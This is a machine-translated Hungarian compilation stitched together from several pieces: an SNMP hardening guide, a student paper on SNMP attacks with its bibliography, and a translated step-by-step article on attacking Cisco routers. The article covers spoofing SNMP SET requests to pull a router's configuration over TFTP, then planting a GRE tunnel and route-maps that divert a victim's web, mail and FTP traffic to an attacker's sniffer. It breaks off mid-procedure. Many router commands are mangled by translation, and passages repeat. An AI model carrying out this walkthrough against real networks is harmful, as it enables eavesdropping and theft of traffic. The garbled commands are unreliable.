Ennek megfelelően a felhasználó v3user csak olvasási jogokat kap a szál megtekintéséhez 1.3.6.1.2.1.2 SNMP-n keresztül.

A konfiguráció helyességét a szolgáltatás újraindítása után ellenőrizheti SNMP a 192.168.10.128 szerveren az ügyfélen végrehajtott paranccsal:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1

Ebben az esetben annak ellenére, hogy a teljes fa lekérdezésre kerül, 1-től kezdve a szerver csak az engedélyezett ágat adja vissza 1.3.6.1.2.1. 2 , amely a konfigurációban lesz beállítva.

Az SNMP v1/v2c elavulása az SNMPv3 javára el kell távolítani a konfigurációs fájlból a nem kapcsolódó konfigurációs töredékeket is SNMPv3.

Ha az SNMP szerver figyelésheznem használják, a leghelyesebb megoldás a csomag eltávolítása snmpd.

Cisco IOS alatt nem lehet kiválasztani a kéréseket feldolgozó felületet SNMP. A korlátozás hozzáférési listák segítségével történik ( hozzáférés-vezérlési lista, ACL ) . Tegyük fel, hogy a 10.0.0.0/24 alhálózat engedélyezett. Létrehozva ACL:

(config)#access-list 10 engedély 10.0.0.0 0.0.0.255

amelyet azután a megfelelőre alkalmazunk közösség az SNMP v1/v2c számára, ebben a példában a MaKe_It_SeCuRe csak olvasási hozzáféréssel:

(config)#snmp-server Community MaKe_It_SeCuRe RO 10

Korlátozás az SNMP OID ágakra használatával alkalmazzák Kilátás

(config)# snmp szerver nézet ARCOK 1.3.6.1.2.1. 2 beleértve

majd a teremtetthez nézet csatolva a közösséghez:

(config)#snmp-server Community MaKe_It_SeCuRe nézet IFACES RO 10

A használat érdekében SNMPv3 szükséges korlátozásokkal(hitelesítés és titkosítás, csak olvasás, hozzáférés a 10.0.0.0/24 alhálózatról a pontban megjelölt interfész ághoz OFACES megtekintése) , létre kell hoznia egy csoportot(BIZTONSÁGOS) csak olvasási hozzáféréssel OID nézetből IFACES valamint a titkosított hitelesítés szükségessége, összekapcsolva a korábban létrehozotthoz hozzáférési lista 10:

(config)#snmp-server group SECURE v3 priv readARCOKhozzáférés 10

majd add hozzá a csoporthoz fiókot felhasználó(v3 felhasználó) jelszavak megadásával a hitelesítéshez és titkosításhoz, valamint egy titkosítási algoritmust(ebben az esetben AES128):

(config)#snmp szerver felhasználóv3userBIZTONSÁGOS v3 hitelesítés sha Strong_Password priv aes 128 Priv_Password

SNMP kezelésre használható, és az alapértelmezett hozzáférési beállítások súlyossági fokra állítása egy könnyen kitalálható jelszóhoz hasonlítható a bejelentkezéshez. SSH. A cikkben található ajánlások követésével nemcsak közvetlenül megvédjük magunkat a hálózatunkat és a szervereinket ért támadásoktól, de ellehetetlenítjük erőforrásaink felhasználását mások megtámadására, valamint minimalizáljuk a sajtóban megjelenő sikoltozó címlapok számát is: „Orosz hackerek támadtak... .”.

Összességében megvédheti szervereit és hálózatát az illetéktelen hozzáféréstől az SNMP protokoll használatával, csökkentheti a DDoS támadások számát, például az SNMP-erősítést, és minimálisra csökkentheti az infrastruktúra szegmens részvételét az alábbi műveletekkel, amelyek nem igényelnek további pénzügyi befektetést:

    Berendezésvezérlés csak megbízható hálózati szegmensből. Korlátozás egy szolgáltatásnak egy adott interfészhez való kötésével vagy használatával hozzáférési listák.

    Az alapértelmezett SNMP-közösségi értékek módosítása (nyilvános és privát) nehezen kitalálható.

    Elágazási korlát azonosító, átvehető/módosítható SNMP.

    Csak használatra SNMPv 3 további hitelesítési és titkosítási lehetőségekkel.

    A szolgáltatás letiltása SNMP a konfiguráció eltávolításával - a teljes elhagyásról szóló döntés esetén SNMP.

És ha az internetről elérhető szerverek minden adminisztrátora ezt teszi, a digitális világ egy lépéssel közelebb kerül a tökéletességhez.

TARTALOM
BEVEZETÉS 3
1. AZ SNMP PROTOKOLL TÁMADÁSI MÓDSZEREK TANULMÁNYOZÁSÁNAK ELMÉLETI ALAPJA
1.1 AZ SNMP 5 TÁMADÁSI MÓDSZEREK TANULMÁNYOZÁSÁNAK SZÜKSÉGESSÉGE
1.2 SNMP PROTOKOLL: LEÍRÁS, CÉL 7
2. AZ SNMP PROTOKOLL IRÁNTI TÁMADÁSOK ELEMZÉSE ÉS AZ ELLENI MÓDSZEREK
2.1 SNMP TÁMADÁSI TECHNIKÁK ÉS MEGELŐZÉSÜK 11
2.2 HOGYAN VÁLASZOLJ AZ SNMP TÁMADÁSRA 15
KÖVETKEZTETÉS 20
HASZNÁLT FORRÁSOK JEGYZÉKE 21

Részlet felülvizsgálatra

3. ábra – A SoftPerfectNetworkScanner segédprogram képernyőformája Így ha SNMP-képes eszközöket talál a hálózatán, érdemes felvenni a kapcsolatot az eszközök gyártójával, hogy megtudják, kifejlesztették-e a szükséges javításokat Az SNMP szolgáltatás letiltása Sokan azon a véleményen vannak, hogy ha az SNMP szolgáltatás nincs szükség rá, le kell tiltani vagy el kell távolítani. Itt van egy algoritmus az SNMP szolgáltatás letiltásához operációs rendszer Windows: Válassza a Start menü - Vezérlőpult - Felügyeleti eszközök - Szolgáltatások menüpontot (lásd: 4. ábra). Válasszon ki egy SNMP-szolgáltatást. Ha a szolgáltatás fut, kattintson a „Stop” gombra, majd válassza ki az „Indítási típus” – „Letiltva” lehetőséget, még akkor is, ha az SNMP le van tiltva. Belépés szűrése A behatolásszűrés a tűzfalak és útválasztók konfigurálásán múlik, hogy az UDP portokon bemeneti szűrést hajtsanak végre 161 és 162. Ez megakadályozza a külső hálózat által kezdeményezett támadásokat a helyi hálózat sebezhető eszközei ellen. Az SNMP-vel kapcsolatos szolgáltatásokat támogató egyéb portok, köztük a 161-es, 162-es, 199-es, 391-es, 750-es és 1993-as TCP- és UDP-portok szintén belépésszűrést igényelhetnek. A kimenő forgalom szűrése a 161-es és 162-es UDP-portokon a hálózat szélén megakadályozhatja, hogy a rendszer támadás ugródeszkaként használják. Behatolásészlelő és -megelőzési rendszerek A behatolásészlelő rendszer (IDS) egy szoftver, ill. hardver, amely észleli a számítógépes rendszerbe vagy hálózatba történő illetéktelen behatolást (behatolást vagy hálózati támadást). IDS nélkül az infrastruktúra elképzelhetetlen hálózati biztonság. A biztonsági szabályok alapján működő tűzfalak mellett az IDS figyeli és figyeli a gyanús tevékenységeket. Lehetővé teszik a mögé behatoló szabálysértők azonosítását tűzfal, és értesítse erről az adminisztrátort, aki elfogadja szükséges megoldás a biztonság fenntartására. A behatolásészlelési módszerek nem garantálnak teljes biztonság Az IDS használatának eredményeként a következő célok valósulnak meg: hálózati támadás vagy behatolás észlelése, várható jövőbeli támadások előrejelzése és a rendszer gyengeségeinek azonosítása a használat megakadályozása érdekében. Sok esetben a támadó előkészítő szakaszt hajt végre, például megvizsgálja (ellenőrzi) a hálózatot vagy más módon teszteli a rendszer sebezhetőségeinek észlelése érdekében; dokumentálja az ismert fenyegetéseket; biztonsági szempontból figyeli a végrehajtott adminisztráció minőségét, különösen nagy méretekben. és összetett hálózatok; értékes információk beszerzése a bekövetkezett behatolásokról a behatolást kiváltó tényezők helyreállítása és kijavítása érdekében; a támadási forrás helyének azonosítása a külső hálózat (külső vagy belső támadások) szempontjából, amely lehetővé teszi a helyes döntések meghozatalát a hálózati csomópontok elrendezése során Az IDS általános esetben tartalmaz: megfigyelést, amely a védett hálózat vagy rendszer biztonságával kapcsolatos eseményekről gyűjt információkat; egy elemző alrendszert, amely észleli a gyanús műveleteket és hálózati támadásokat; tároló, amely tárolja az elsődleges eseményeket és elemzési eredményeket; egy felügyeleti konzol az IDS konfigurálásához, a védett rendszer állapotának figyeléséhez mi és az IDS, az elemző alrendszer által észlelt helyzeteket tanulmányozva Összefoglalva megállapítható, hogy a népszerű SNMP protokoll egyszerűsége fokozott sebezhetőséget eredményez. Mivel az SNMP-t olyan széles körben használják, a hálózatok sebezhető termékekkel történő kihasználása katasztrofális lehet. Ezért az SNMP protokoll hatékony használatához különféle módszerek alkalmazása szükséges a támadások megelőzésére és egy átfogó védelmi rendszer kiépítésére KÖVETKEZTETÉSEK A tanulmány az SNMP protokollon keresztül történő hálózati interakció megszervezésének biztonságának biztosításának kérdéskörére vonatkozik. A munka során azonosításra kerültek a nevezett protokoll jellemzői, használatának lehetséges problémái. A probléma alátámasztására statisztikai adatok állnak rendelkezésre, amelyek megerősítik a hálózati támadások nagy valószínűségét. Ezenkívül az elméleti rész információkat tartalmaz a protokoll felépítéséről, a kérés/válasz sémáról, valamint a kérésekre adott válaszok megszerzésének lépéseiről. lejáratú papírok elemzést végeztek az SNMP protokoll elleni lehetséges támadásokról, köztük a Dos támadásokról, a puffer túlcsordulási támadásokról és a sebezhetőségek kihasználásáról formátum karakterlánc. Természetesen sokkal több potenciális fenyegetettség létezik, de áttekintésük mélyebb és átfogóbb vizsgálatot tesz lehetővé A hálózati előfizetők hálózati interakcióját védő rendszer felépítéséhez olyan módszereket mérlegeltek, amelyek megakadályozzák az SNMP protokoll elleni támadásokat, és megállapították, hogy Az elemzés alapján megállapították, hogy az SNMP protokoll meglehetősen sérülékeny, és ha mégis döntés születik a használatáról, akkor biztonsági politikát kell kidolgozni, és minden elvét követni kell Így megállapíthatjuk, hogy a cél megvalósult és a bevezetőben meghatározott feladatok megvalósultak FELHASZNÁLT FORRÁSOK JEGYZÉKE 2006. július 27. N 149-FZ Tájékoztatásról, információs technológiaés információvédelem A szak- és tudományos irodalom jegyzékeBlank-Edelman D. Perl a rendszeradminisztrációhoz, M.: symbol-Plus, 2009.- 478s. Borodakiy V.Yu. Gyakorlat és kilátások biztonságos információs és számítási felhő létrehozására az MSS OGV / V.Yu alapján. Borodaki, A.Yu. Dobrodeev, P.A. Nashchekin // Valós problémák technológiai rendszerek fejlesztése az államvédelmi, speciális kommunikációs és speciális információs támogatás: VIII Összoroszországi Osztályközi Tudományos Konferencia: anyagok és beszámolók (Orel, 2013. február 13–14.). - 10 órakor, 4. rész / Szerk. V.V. Mizerova. - Orel: Oroszország Szövetségi Biztonsági Szolgálatának Akadémiája, 2013. Grishina N.V. Integrált információbiztonsági rendszer szervezése. - M .: Helios ARV, 2009. - 256 s, Douglas R. Mauro SNMP Fundamentals, 2nd edition / Douglas R. Mauro, Kevin J. Schmidt - M .: Symbol-Plus, 2012.-725s. Kulgin M.V. Számítógépes hálózatok. Építési gyakorlat. Szakembereknek, Szentpétervár: Peter, 2003.-462s. Mulyukha V.A. A számítógépes információk védelmének módszerei és eszközei. Tűzfal: Tankönyv / Mulyukha V.A., Novopashenny A.G., Podgursky Yu.E. - St. Petersburg: SPbGPU Publishing House, 2010. - 91 p. Olifer V. G., Olifer N. P. Számítógépes hálózatok. Alapelvek, technológiák, protokollok. - 4. - Szentpétervár: Péter, 2010. -902s. Helyi kapcsolási és útválasztási technológiák számítógépes hálózatok: tankönyv / SmirnovaE. V. és mások; szerk. A.V. Proletár. - M .: MSTU kiadó im. N.E. Bauman, 2013. - 389 pp. Flenov M. Linux egy hacker szemével, St. Petersburg: BHV-St. Petersburg, 2005. - 544 pp. Horeev P.V. Az információ védelmének módszerei és eszközei számítógépes rendszerek. - M .: Kiadói Központ "Akadémia", 2005. -205 p. Khoroshko V. A., Chekatkov A. A. Az információbiztonság módszerei és eszközei, K .: Junior, 2003. - 504 p. Internetes források IDS / IPS - Rendszerek behatolás észlelése és megelőzése [Elektronikus forrás] URL: http://netconfig.ru/server/ids-ips/ Az internetes fenyegetések elemzése 2014-ben. DDoS támadások. Weboldal feltörése [Elektronikus forrás]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdfKolischak A. Formátumkarakterlánc-sebezhetőség [elektronikus forrás]. URL: https://securityvulns.ru/articles/fsbug.aspFirst Mile, No. 04, 2013 [Elektronikus forrás]. URL: http://www.lastmile.su/journal/article/3823 SNMP szabványcsalád [elektronikus forrás]. URL: https://en.wikibooks.org/wiki /SNMP_Standard_FamilyForeign Literature "CERT Advisory CA-2002-03: Multiple Vulnerabilities in many Implementations of the Simple Network Management Protocol (SNMP)", február 12. 2002, (jelenleg 2002. március 11.)

HASZNÁLT FORRÁSOK LISTÁJA
Előírások
1. Az Orosz Föderáció 2006. július 27-i N 149-FZ szövetségi törvénye az információról, az információs technológiákról és az információvédelemről
Szak- és tudományos irodalom jegyzéke
2. Blank-Edelman D. Perl rendszeradminisztrációhoz, M.: Plusz szimbólum, 2009.- 478s.
3. Borodaki V.Yu. Gyakorlat és kilátások biztonságos információs és számítási felhő létrehozására az MSS OGV / V.Yu alapján. Borodaki, A.Yu. Dobrodeev, P.A. Nashchekin // Az állami védelem, a speciális kommunikáció és a speciális információs támogatás technológiai rendszereinek fejlesztésének aktuális problémái: VIII. Össz-Oroszországi Osztályközi Tudományos Konferencia: anyagok és jelentések (Orel, 2013. február 13-14.). - 10 órakor, 4. rész / Szerk. V.V. Mizerova. - Eagle: Az oroszországi FSO Akadémiája, 2013.
4. Grishina N. V. Komplex információbiztonsági rendszer szervezése. - M.: Helios ARV, 2009. - 256 s,
5. Douglas R. Mauro Az SNMP alapjai, 2. kiadás / Douglas R. Mauro, Kevin J. Schmidt - M.: Symbol-Plus, 2012.-725p.
6. Kulgin M.V. Számítógépes hálózatok. Építési gyakorlat. Szakembereknek, Szentpétervár: Péter, 2003.-462p.
7. Mulyukha V.A. A számítógépes információk védelmének módszerei és eszközei. Tűzfal: Tankönyv / Mulyukha V.A., Novopashenny A.G., Podgursky Yu.E. - St. Petersburg: SPbSPU Publishing House, 2010. - 91 p.
8. Olifer V. G., Olifer N. P. Számítógépes hálózatok. Alapelvek, technológiák, protokollok. - 4. - Szentpétervár: Péter, 2010. -902s.
9. Kapcsolási és útválasztási technológiák helyi számítógépes hálózatokban: tankönyv / Smirnova E. V. és mások; szerk. A.V. Proletár. - M .: MSTU kiadó im. N.E. Bauman, 2013. - 389p.
10. Flenov M. Linux egy hacker szemével, St. Petersburg: BHV-St. Petersburg, 2005. - 544 p.
11. Khoreev P.V. Információvédelem módszerei és eszközei számítógépes rendszerekben. - M.: "Akadémia" Kiadói Központ, 2005. -205 p.
12. Khoroshko V. A., Chekatkov A. A. Az információbiztonság módszerei és eszközei, K .: Junior, 2003. - 504 p.
Internetes források
13. IDS/IPS – Behatolásészlelő és -megelőzési rendszerek [Elektronikus forrás] URL: http://netconfig.ru/server/ids-ips/.
14. Internetes fenyegetések elemzése 2014-ben. DDoS támadások. Weboldal feltörése [Elektronikus forrás]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Kolischak A. A formátum string sérülékenysége [Elektronikus forrás]. URL: https://securityvulns.ru/articles/fsbug.asp
16. First Mile, No. 04, 2013 [Elektronikus forrás]. URL: http://www.lastmile.su/journal/article/3823
17. Szabványcsalád SNMP [Elektronikus forrás]. URL: https://ru.wikibooks.org/wiki/SNMP_Standard_Family
Külföldi irodalom
18. "CERT Advisory CA-2002-03: Többszörös biztonsági rések az egyszerű hálózatkezelési protokoll (SNMP) számos megvalósításában", február 12. 2002, (jelenleg 2002. március 11.)

közzétett http:// www. minden a legjobb. hu/

közzétett http:// www. minden a legjobb. hu/

az OSI modell hálózati rétegének hálózati támadási technikáinak áttekintése és az ellenintézkedések

BEVEZETÉS

trójai vírus hálózati támadások

Minden információnak három fő tulajdonsága van:

· Adatvédelem.

· Sértetlenség.

· Elérhetőség.

Magyarázza el ezeket a tulajdonságokat.

A bizalmas információ olyan információ, amely egyes személyek birtokában, használatában vagy rendelkezésére áll, ill jogalanyokés tetszés szerint terjesztik, annak feltételei szerint.

Az információs integritás (adatintegritás) egy számítástechnikai és távközléselméleti fogalom, ami azt jelenti, hogy az adatok teljesek, feltétele, hogy az adatokon semmilyen művelet során – legyen szó átvitelről, tárolásról vagy megjelenítésről – ne változzanak.

Az információk elérhetősége - az információ állapota (automatizált erőforrások tájékoztatási rendszer), amelyben a hozzáférési joggal rendelkező alanyok szabadon gyakorolhatják azokat. Hozzáférési jogok: az információk olvasásának, megváltoztatásának, másolásának, megsemmisítésének joga, valamint az erőforrások megváltoztatásának, felhasználásának, megsemmisítésének joga.

Az információk védelmének három fő módja van, amelyek fontosságuk szerint vannak elrendezve:

· Az információvédelem szervezési módszerei. A szervezeti információbiztonság egy szervezeti kezdet, az úgynevezett „mag”. közös rendszer védelem bizalmas információ vállalkozások. Az információbiztonsági rendszer egészének működésének hatékonysága a vállalkozás vezetése és a szervezési feladatokat ellátó tisztviselők megoldásának teljességétől és minőségétől függ. A szervezeti információvédelem szerepe és helye a vállalkozás bizalmas információinak védelmét célzó intézkedések átfogó rendszerében kiemelten fontos ahhoz, hogy a vezetés időben és helyesen hozza meg döntéseit, figyelembe véve az erőket, eszközöket, módszereket. valamint a rendelkezésére álló információvédelmi módszereket és a mindenkori szabályozási módszertani apparátus alapján.

· Technikai módszerek információvédelem. Ezek a módszerek feltételezik az eszközökben és az információfeldolgozás technikai eszközeiben, speciális eszközökben való jelenlétét műszaki megoldások az információk védelmének és ellenőrzésének biztosítása. És ezen felül információvédelmi módszerek, vagyis olyan algoritmusok és programok halmaza, amelyek hozzáférés-szabályozást biztosítanak, és kizárják az információk jogosulatlan felhasználását.

Támadás a Cisco ellen SNMP-n keresztül

Alekszandr Antipov


Matiai Aroni és William M. Hidalgo, fordította Vladimir Kuksenok

Bevezetés

A rendszergazdák gyakran homályosak az SNMP-vel kapcsolatban. Ennek a protokollnak a céljának határozatlan elképzelése, és ennek megfelelően a potenciál tudatlansága miatt lehetséges problémákat, a biztonsági kérdéseket gyakran figyelmen kívül hagyják.

Meglepődhet, amikor először látja egy olyan segédprogram kimenetét, mint a Philip Waeytens SNMP-Enum, amely Windows 2000 szerveren fut, és az SNMP szolgáltatás engedélyezve van. Az összegyűjtött információk nagy fejtörést okozhatnak a rendszergazdának, és képet adnak az SNMP gazdag lehetőségeiről.

Az a tény, hogy az SNMP UDP-n alapul, még érdekesebbé teszi. Kapcsolat nélküli protokollként az UDP sebezhető az IP-hamisítási támadásokkal szemben. Ha szervezete rendelkezik Cisco útválasztókkal, készen áll arra, hogy megvizsgálja, mit tehet velük az SNMP használatával.

Támadási forgatókönyv

Vessen egy pillantást az 1. ábrán látható támadási forgatókönyv példájára.


1. ábra: Példa egy támadási forgatókönyvre.

Ismerkedjen meg a támadás forgatókönyvével. Alább látható a megtámadott útválasztó (Victim Router) jelenlegi konfigurációja:

Jelenlegi konfiguráció: 1206 bájt! 12.3 verzió! hostnév áldozat! titkosítás engedélyezése 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interfész Ethernet0/0 ip cím dhcp ip nat kívül félduplex ! interfész Ethernet0/1 ip cím 192.168.1.1 255.255.255.0 ip nat belül félduplex ! router rip hálózat 192.168.1.0 ! ip nat a forráslistán belül 102 interfész Ethernet0/0 túlterhelés nincs ip http szerver ip osztály nélküli ! hozzáférési lista 1 engedély 192.168.1.0 0.0.0.255 hozzáférési lista 102 engedély ip any any ! snmp-szerver közösség nyilvános RO snmp-szerver közösség privát RW 1 snmp-szerver engedélyezése traps tty ! line con 0 naplózás szinkron bejelentkezés line aux 0 line vty 0 4 jelszó titkos bejelentkezés ! ! vége

Figyelje meg az RW csoport hozzáférési szabályát. Ez a szabály csak a helyi hálózat (192.168.1.0) felhasználóira próbálja korlátozni az SNMP olvasási/írási hozzáférését.

A támadásnak két fő szakasza van:

  1. Kerülje ki a megtámadott útválasztón az SNMP hozzáférési szabályokat, hogy hozzáférjen az útválasztó konfigurációs fájljához.
  2. GRE alagút létrehozása a megtámadott útválasztó és a hacker útválasztója között a megtámadott forgalom távoli lehallgatására kliens gép(Victim Client).

Elmélet

Amint azt a „Cisco Routerek kihasználása, 1. rész” című cikkben említettük, az SNMP SET paranccsal kényszerítheti a Cisco útválasztót a konfigurációs fájl cseréjére/küldésére TFTP használatával.

Ha SNMP SET kérést küldünk hamis IP-címmel (az RFC1918 - 192.168.1.0 tartományból), rá kell kényszerítenünk a megtámadott útválasztót, hogy küldje el nekünk a konfigurációs fájlját. Ez azt feltételezi, hogy ismerjük a „privát közösségi karakterláncot” és az RW csoport konfigurációs karakterláncában leírt ACL-eket.

Az SNMP hozzáférési szabályok megkerülése

Kezdjük egy hamis SNMP-kérés létrehozásával. Egy kis Perl-szkript és Ethereal segítségével elfogjuk a szabványos SNMP SET "config másolása" kérést, amelyet alapcsomagunkként fogunk használni. [e-mail védett]# ./copy-router-config.pl ####################################### # ############# # Cisco Router konfigurációjának másolása - SNMP használatával # Muts feltörte - [e-mail védett]################################################ # ##### Használat: ./cisco-copy-config.pl Győződjön meg róla, hogy be van állítva egy TFTP-kiszolgáló, lehetőleg a /tmp fájlból! [e-mail védett]# A szkript végrehajtása után a 2. ábrán láthatóhoz hasonló SNMP-csomagot fog elkapni, amint az várható volt, ezt a kérést a router elutasította és a konfigurációs fájlt nem küldte el.


2. ábra: Rögzített SNMP-csomag.

Ügyeljen a támadó IP-címére (80.179.76.227). Most egy hexadecimális szerkesztővel megváltoztatjuk ezt az IP-címet és néhány más mezőt a csomag fejlécében. Hexadecimális jelöléssel a hamisított 192.168.1.5 IP-cím úgy néz ki, mint C0 A8 01 05, amely a 3. ábrán látható.




3. ábra Csomag fordított IP-címének megváltoztatása.

Ezután file2cable (vagy bármely más csomaggenerátor) segítségével elküldjük a csomagot:

[e-mail védett]:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - az FX Thanx által, keresse meg Lamont Granquist & fyodort a hexdump() /root/snmp-mod - 238 bájt nyers adatért 000f 347c 501f cc 0006 1b 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 [e-mail védett]@.5....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..privát..... .. 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`.......x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`.......x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [e-mail védett]". 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`...... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-606f16010636106 +..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Csomag hossza: 238 [e-mail védett]:~# Ezt követően a TFTP szerverünk elfogadja azt a kapcsolatot, amelynek Etheral naplója a 4. ábrán látható.


4. ábra: Az Etheral által elfogott TFTP-kiszolgáló kapcsolat.

Jegyezze fel az SNMP-csomag és a TFTP-írási kérelem fordított IP-címét (1. és 2. csomag). A csomag megkerüli az SNMP hozzáférési szabályokat, és TFTP-n keresztül megkapjuk a támadott útválasztó konfigurációs fájlját.

GRE alagút

A GRE (Generic Routing Encapsulation) egy alagútkezelési protokoll, amelyet arra terveztek, hogy tetszőleges típusú hálózati réteg csomagokat foglaljon egy hálózati réteg csomagba. A GRE használatának egyik lehetősége az IPX hálózati szegmensek összekapcsolása olyan kommunikációs csatornán keresztül, amely csak az OSI modell hálózati rétegét támogatja. Ebben az esetben létre kell hoznia egy GRE alagutat az egyik útválasztótól a másikig, hogy az IPX-csomagokat oda-vissza küldje egy csak IP-kapcsolaton keresztül.

A GRE-t azonban a szokásostól eltérő célokra fogjuk használni. Tervünk a következő:

  • Hozzon létre egy GRE alagutat a támadott útválasztótól a hacker útválasztójáig.
  • Határozza meg, milyen forgalom halad át az alagúton.
  • Csomagolja ki a megtámadott útválasztótól érkező GRE-csomagokat, és továbbítsa azokat a támadó számítógépére (sniffer) elemzés céljából.

Megtámadott router

Létre kell hoznunk egy GRE alagutat a támadott útválasztón. Mivel nincs hozzáférésünk terminálhoz (konzolhoz), egyszerűen szerkeszthetjük a kapott konfigurációs fájlt, majd egy hamis SNMP SET kéréssel visszaküldhetjük a routernek. Adja hozzá a következő sorokat a megtámadott útválasztó konfigurációs fájljához: interface tunnel0 ip address 192.168.10.1 255.255.255.0 tunnel source Ethernet0/0 tunnel destination tunnel mode gre ip Ezek a következőket jelentik:
  • Létrehoztuk az tunnel0 interfészt, és megadtunk egy IP-címet a 192.168.10.x hálózatról. A kommunikációhoz az alagút mindkét végének ugyanazon az alhálózaton kell lennie.
  • Jeleztük, hogy az Ethernet0/0 interfész az alagút kezdete (egyébként honnan indulhatna az alagút?)
  • Az alagút vége egy IP-cím külső interfész hacker router.
  • Az utolsó parancs nem kötelező, mivel a GRE alagút alapértelmezés szerint amúgy is létrejön (de a biztos kedvéért még hozzáadtuk).
Most beállíthatjuk a hozzáférési listákat, hogy megadjuk az alagúton áthaladó forgalom típusát és a forgalom átirányításához szükséges útválasztási térképeket (route-maps).

Ehhez adjon hozzá néhány további sort a megtámadott útválasztó konfigurációs fájljához:

Hozzáférési lista 101 engedélyezi tcp tetszőleges eq 443 hozzáférési lista 101 engedélyezés tcp tetszőleges eq 80 hozzáférési lista 101 engedély tcp tetszőleges eq 21 hozzáférési lista 101 engedély tcp bármely eq 20 hozzáférési lista 101 engedély tcp 2 bármely e hozzáférési lista 101 engedélyezi tcp tetszőleges eq 25 hozzáférési lista 101 engedélyezése tcp bármely eq 110 Engedélyeztük az adatátvitelt SSL, HTTP, FTP, telnet, SMTP és POP3 protokollokon keresztül.

Most, ha a forgalom megfelel a fent leírt szabályoknak, akkor az útválasztási térképek szerint kerül átirányításra, amelyek leírását hozzá kell adni a konfigurációs fájlhoz:

Router-map divert-traffic match ip address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Ennek a bejegyzésnek a jelentése a következő:

  • Megadtuk az útválasztási térkép nevét (forgalom átirányítása), majd a 'match' paranccsal meghatároztuk, hogy a 101-es hozzáférési szabálykészletet (access-list) kell használni egyezési feltételként.
  • Következő ugrás címként a támadó IP-címét adtuk meg.
  • Az útválasztási térképet a megtámadott gép külső LAN interfészére alkalmaztuk. Ennek eredménye az összes bejövő és kimenő Ethernet0/0 forgalom figyelése.

hacker router

A támadó útválasztójának konfigurációja kicsit bonyolultabb, mivel két útválasztási térképet kell definiálnunk – az egyik a forgalmat a támadó számítógépére továbbítja (sniffer), a másik pedig a forgalmat visszaküldi a támadott útválasztónak. Nagyon fontos, hogy az alagútban lévő adatokat visszaküldjük a támadott útválasztónak, hogy a támadott számítógép (Victim Client) ne veszítse el a kapcsolatot.

Kezdjük azzal, hogy létrehozunk egy GRE alagutat a támadó útválasztóján: Attacker(config)# interface tunnel0 Attacker(config-if)# IP-cím 192.168.10.2 255.255.255.0 Attacker(config-if)# alagútforrás Ethernet0/0 Attacker(config-Attacker(config) if)# alagút célpontja Támadó(config-if)# alagút mód gre ip Támadó(config)# hozzáférési lista 101 engedélyez ip bármely támadó(config)# router-map divert-to-sniffer Attacker(config-route-map) # match IP address 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interface tunnel0 Attacker(config-if)# ip policy route- térkép átirányítás a szippantásba Ezek a szabályok a következőket jelentik:

  • Létrehoztunk egy hozzáférési szabályt, amely minden típusú forgalmat engedélyez.
  • Létrehoztunk egy átirányítás-szippantó útválasztási térképet (ez az útválasztási térkép átirányítja az alagútban lévő forgalmat a szippantóhoz).
  • A létrehozott hozzáférési szabályt a rendszer egyezési feltételként használja.
  • Következő ugrás címként a támadó (szippantó) IP-címét adtuk meg.
  • Alkalmaztuk az útválasztási térképet az tunnel0 interfészre.
Nagyon fontos, hogy útválasztási térképet használjunk az adatok átirányításához. A router az alagútban lévő adatokat egy GRE csomagba csomagolva fogadja, és a csomag dekódolása nélkül nem látjuk. A fogadott csomagokat a támadónak (sniffer) továbbítva az útválasztó normál IP-csomagként továbbítja azokat GRE tokozás nélkül.

Végül hozzunk létre egy útválasztási térképet, és társítsuk az Ethernet0/0 interfészhez:

Attacker(config-if)# route-map divert-out Attacker(config-route-map)# match IP address 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map )# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Ezek további beállítások a következőket jelenti:

  • Miután a támadó (szippantó) elfogta és visszaküldi az alagútban lévő adatokat, az átirányító útválasztási térkép visszairányítja a forgalmat a támadott útválasztóhoz.
  • Az Ethernet interfészre alkalmaztuk az útválasztási térképet.

Támadó (szimatoló)

Az útválasztók konfigurálása után be kell állítanunk a támadó számítógépét (sniffer), hogy elfogja és átirányítsa az adatokat. Fontos, hogy a számítógép úgy legyen konfigurálva, hogy fordítsa meg a csomagtovábbítást. Ehhez a következő parancsok egyikét használhatja: [e-mail védett]:~# echo 1 > /proc/sys/net/ipv4/ip_forward vagy [e-mail védett]:~# fragrouter -B1 Az átirányítás nélkül a támadásunk szolgáltatásmegtagadást (DoS) okoz a megtámadott számítógépen, ezért értelmetlen lesz.

Kezdjük a támadást

Az összes beállítás elvégzése után már csak egy új módosított konfigurációs fájlt kell feltöltenünk a támadott útválasztóra. Az eredmény a GRE alagút aktiválása és az összes forgalom átirányítása a megtámadott számítógép helyi hálózatáról a hackerhez (szippantóhoz).

Létre kell hoznunk egy hamis SNMP SET kérést, aminek hatására a router letölt egy új konfigurációs fájlt, és hozzáadja az aktuális konfigurációhoz. Az alapcsomag átvételéhez ismét a szokásos kérést küldjük:

